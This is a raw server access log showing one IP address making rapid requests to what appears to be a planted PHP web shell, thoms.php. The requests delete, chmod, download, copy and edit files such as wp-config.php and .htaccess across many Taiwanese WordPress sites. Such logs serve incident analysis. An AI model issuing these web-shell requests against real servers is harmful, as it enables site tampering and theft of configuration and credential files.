45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?del=.htaccess&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=booking-wise2.com.tw HTTP/1.1" 200 11504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?chmod=wp-config.php&p=booking-wise2.com.tw HTTP/1.1" 200 11497 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p= HTTP/1.1" 200 12163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=index.php HTTP/1.1" 200 12067 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=locoy.php HTTP/1.1" 200 12970 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?chmod=mah.php&p=booking-wise2.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=booking-wise2.com.tw HTTP/1.1" 200 11491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-login.php HTTP/1.1" 200 29040 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?del=upgrade&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=booking-wise2.com.tw HTTP/1.1" 200 17412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?dl=wp-load.php&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?del=wp-mail.php&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p= HTTP/1.1" 200 15343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?edit=.htaccess&p= HTTP/1.1" 200 11703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /?ND= HTTP/1.1" 200 2911 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /?MA= HTTP/1.1" 200 2911 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /?SA= HTTP/1.1" 200 2911 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=betcity.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=wp-content HTTP/1.1" 200 11368 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59393 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bossini.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=upgrade HTTP/1.1" 200 11358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11418 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bfl.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21011 "https://163.245.207.76/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=cgi-bin HTTP/1.1" 200 11308 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21002 "https://163.245.207.76/thoms.php?copy=besth2o.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21023 "https://163.245.207.76/thoms.php?copy=besth2o.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20611 "https://163.245.207.76/thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11395 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bft.com.tw HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bossini.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=cgi-bin HTTP/1.1" 200 11312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bfl.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21002 "https://163.245.207.76/thoms.php?copy=booking-wise2.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=betcity.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11402 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=wp-content HTTP/1.1" 200 11376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21134 "https://163.245.207.76/thoms.php?copy=booking-wise2.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bft.com.tw HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21148 "https://163.245.207.76/thoms.php?copy=booking-wise2.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=upgrade HTTP/1.1" 200 11363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=upgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=upgrade&p=beauty-dental.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=upgrade&p=bfl.com.tw HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=upgrade&p=bft.com.tw HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21148 "https://163.245.207.76/thoms.php?copy=booking-wise2.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=upgrade&p=besth2o.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=upgrade&p=betcity.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=upgrade&p=bodbooks.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=upgrade&p=broadweb.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=upgrade&p=bestjudy.com.tw HTTP/1.1" 200 11453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:00 -0400] "GET /thoms.php?copy=upgrade&p=bogroup.com.tw HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=cgi-bin HTTP/1.1" 200 11301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21089 "https://163.245.207.76/thoms.php?copy=upgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=bioway88.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21284 "https://163.245.207.76/thoms.php?copy=upgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
